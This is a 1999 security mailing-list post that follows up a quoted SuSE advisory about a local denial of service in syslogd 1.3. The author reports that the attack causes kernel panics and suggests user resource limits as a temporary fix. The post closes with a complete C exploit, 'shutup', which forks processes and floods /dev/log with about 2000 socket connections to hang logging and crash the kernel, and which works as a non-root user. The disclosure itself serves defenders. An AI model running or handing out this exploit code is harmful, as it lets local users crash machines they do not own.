The impact of the syslogd Denial Of Service vulnerability seems to
be bigger than expected. I found that syslog could not be stopped from
responding by one or a few connections, since it uses select() calls
to synchronously manage the connections to /dev/log. I made an attempt
with the attached test code, which makes about 2000 connects to syslog,
using multiple processes, and my system instantly died with the message:
'Kernel panic: can't push onto full stack'

I've been able to reproduce this as non-root user, although it had to
be done two times to overcome the stronger user resource limits, but
it worked. This has been tested with linux 2.0.38+syslog1.3 (redhat 5.2).

As a temporary fix, I'd strongly advise everyone who hasn't to set proper
user resource limits, but that is only a very temporary fix.

Taking a guess, I would say that the panic is caused by instability of
the linux select() implementation, and could therefore be abused in other
programs that manage an unlimited amount of connections using the select
syscall.


Mixter
________________________
[EMAIL PROTECTED]
members.tripod.com/mixtersecurity

On Thu, 18 Nov 1999, Thomas Biege wrote:

> _____________________________________________________________________________
>
>                         SuSE Security Announcement - syslogd (a1)
>
>         Package:  syslogd-1.3.33 (a1)
>         Date:     Thu Nov 18 14:00:29 CET 1999
>
>         Affected SuSE versions: 6.2 and 6.3
>         Vulnerability Type:     local denial-of-service attack
>         SuSE default package:   yes
>         Other affected systems: all Linux systems using the syslog daemon
> ______________________________________________________________________________
>
> A security hole was discovered in the package mentioned above.
> Please update as soon as possible or disable the service if you are using
> this software on your SuSE Linux installation(s).
>
> Other Linux distributions or operating systems might be affected as
> well, please contact your vendor for information about this issue.
>
> Please note, that that we provide this information on an "as-is" basis only.
> There is no warranty whatsoever and no liability for any direct, indirect or
> incidental damage arising from this information or the installation of
> the update package.
> _____________________________________________________________________________
>
> 1. Problem Description
>
>   The syslogd server uses a Unix Domain stream socket (/dev/log) for receiving
>   local log messages via syslog(3).
>   Unix Domain stream sockets are non connection-less, that means, that
>   one process is needed to serve one client.
>
> 2. Impact
>
>   By opening alot of local syslog connections a user could stop the
>   system from responding.
>
> 3. Solution
>
>   Updated the package from our FTP server.
> ______________________________________________________________________________
>
> Please verify these md5 checksums of the updates before installing:
>
>   c9a9e0f8fc4e29daf30f8a735ae333ab  syslogd-1.3.33-9.alpha.rpm  (AXP, 6.1)
>   3104e26a8b474e215ed703b7c4d48888  syslogd-1.3.33-9.i386.rpm   (x86, 5.3)
>   a13be12a75232f2f62f51fb1cae26fc0  syslogd-1.3.33-9.i386.rpm   (x86, 6.1)
>   fc29df9455288f40eb1e8dbd0f47d5b3  syslogd-1.3.33-9.i386.rpm   (x86, 6.2)
>   869b7fedd5b52807f12b7f66e282002c  syslogd-1.3.33-9.i386.rpm   (x86, 6.3)
> ______________________________________________________________________________
>
> You can find updates on our ftp-Server:
>
>   ftp://ftp.suse.com/pub/suse/axp/update/6.1/a1/syslogd-1.3.33-9.alpha.rpm
>   ftp://ftp.suse.com/pub/suse/i386/update/5.3/a1/syslogd-1.3.33-9.i386.rpm
>   ftp://ftp.suse.com/pub/suse/i386/update/6.1/a1/syslogd-1.3.33-9.i386.rpm
>   ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/syslogd-1.3.33-9.i386.rpm
>   ftp://ftp.suse.com/pub/suse/i386/update/6.3/a1/syslogd-1.3.33-9.i386.rpm
>
> or try the following web pages for a list of mirrors:
>   http://www.suse.de/de/support/download/ftp/inland.html
>   http://www.suse.de/de/support/download/ftp/ausland.html
>
> Our webpage for patches:
>   http://www.suse.de/de/support/download/updates/index.html
>
> Our webpage for security announcements:
>   http://www.suse.de/de/support/security/index.html
>
> If you want to report vulnerabilities, please contact
>   [EMAIL PROTECTED]
> ______________________________________________________________________________
>
> SuSE has got two free security mailing list services to which any
> interested party may subscribe:
>
> [EMAIL PROTECTED]          - moderated and for general/linux/SuSE
>                                   security discussions. All SuSE security
>                                   announcements are send to this list.
>
> [EMAIL PROTECTED] - SuSE's announce-only mailing list.
>                                   Only SuSE's security annoucements are sent
>                                   to this list.
>
> To subscribe to the list, send a message to:
>      <[EMAIL PROTECTED]>
>
> To remove your address from the list, send a message to:
>      <[EMAIL PROTECTED]>
>
> Send mail to the following for info and FAQ for this list:
>      <[EMAIL PROTECTED]>
>      <[EMAIL PROTECTED]>
>
> _____________________________________________________________________________
>
>   This information is provided freely to everyone interested and may
>   be redistributed provided that it is not altered in any way.
>
> Type Bits/KeyID    Date       User ID
> pub  2048/3D25D3D9 1999/03/06 SuSE Security Team <[EMAIL PROTECTED]>
>
> ------BEGIN PGP PUBLIC KEY BLOCK-----
> Version: 2.6.3i
>
> mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA
> BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz
> JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh
> 1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U
> P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+
> cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg
> VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b
> yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4mNgjlIOUHZj0PEpVjWepOJ7
> tQS3L9oP6cpj1Fj/XxuLbkp5VCQ61hpt54coQAvYrnT9rtWEGN+xmwejT1WmYmDJ
> xG+EGBXKr+XP69oIUl1E2JO3rXeklulgjqRKos4cdXKgyjWZ7CP9V9daRXDtje63
> Om8gwSdU/nCvhdRIWp/Vwbf7Ia8iZr9OJ5YuQl0DBG4qmGDDrvImgPAFkYFzwlqo
> choXFQ9y0YVCV41DnR+GYhwl2qBd81T8aXhihEGPIgaw3g8gd8B5o6mPVgl+nJqI
> BkEYGBusiag2pS6qwznZiQEVAwUQNuEtBHey5gA9JdPZAQFtOAf+KVh939b0J94u
> v/kpg4xs1LthlhquhbHcKNoVTNspugiC3qMPyvSX4XcBr2PC0cVkS4Z9PY9iCfT+
> x9WM96g39dAF+le2CCx7XISk9XXJ4ApEy5g4AuK7NYgAJd39PPbERgWnxjxir9g0
> Ix30dS30bW39D+3NPU5Ho9TD/B7UDFvYT5AWHl3MGwo3a1RhTs6sfgL7yQ3U+mvq
> MkTExZb5mfN1FeaYKMopoI4VpzNVeGxQWIz67VjJHVyUlF20ekOz4kWVgsxkc8G2
> saqZd6yv2EwqYTi8BDAduweP33KrQc4KDDommQNDOXxaKOeCoESIdM4p7Esdjq1o
> L0oixF12Cg==
> =pIeS
> ------END PGP PUBLIC KEY BLOCK-----
> Signature by unknown keyid: 0x3D25D3D9
>
/*
 *
 * shutup - syslogd 1.3 denial of service
 * by Mixter <[EMAIL PROTECTED]>
 *
 * This opens up to 2000 unix domain socket connections
 * to /dev/log, attempting to stop syslog from responding.
 * WARNING: This apparently causes the kernel to panic!
 * You might have to run this 2 times to reproduce it as non-root.
 * This code is for educational purposes only, do not abuse.
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>

#define PATH    "/dev/log"
#define SHUTUPS 200
#define PROCS   10

int
main (void)
{
  int s, i;
  struct sockaddr_un sun;
  char host[128];

  sun.sun_family = AF_UNIX;
  strncpy (sun.sun_path, PATH, 100);
  gethostname (host, 128);

  printf ("shutup - syslog1.3 DoS (c) Mixter - http://1337.tsx.org\n");
  printf ("syslog on %s is now being overloaded...\n", host);

  if (fork ())
    exit (0);

  for (i = 0; i < PROCS; i++)
    if (fork () == 0)
      break;

  for (i = 0; i < SHUTUPS; i++)
    {
      if ((s = socket (AF_UNIX, SOCK_STREAM, 0)) < 0)
        {
          perror ("socket");
          while (1);
        }

      if (connect (s, (struct sockaddr *) &sun, sizeof (struct sockaddr)) < 0)
        {
          perror ("connect");
          close (s);
          i--;
        }
    }

  while (1);
}

Reply via email to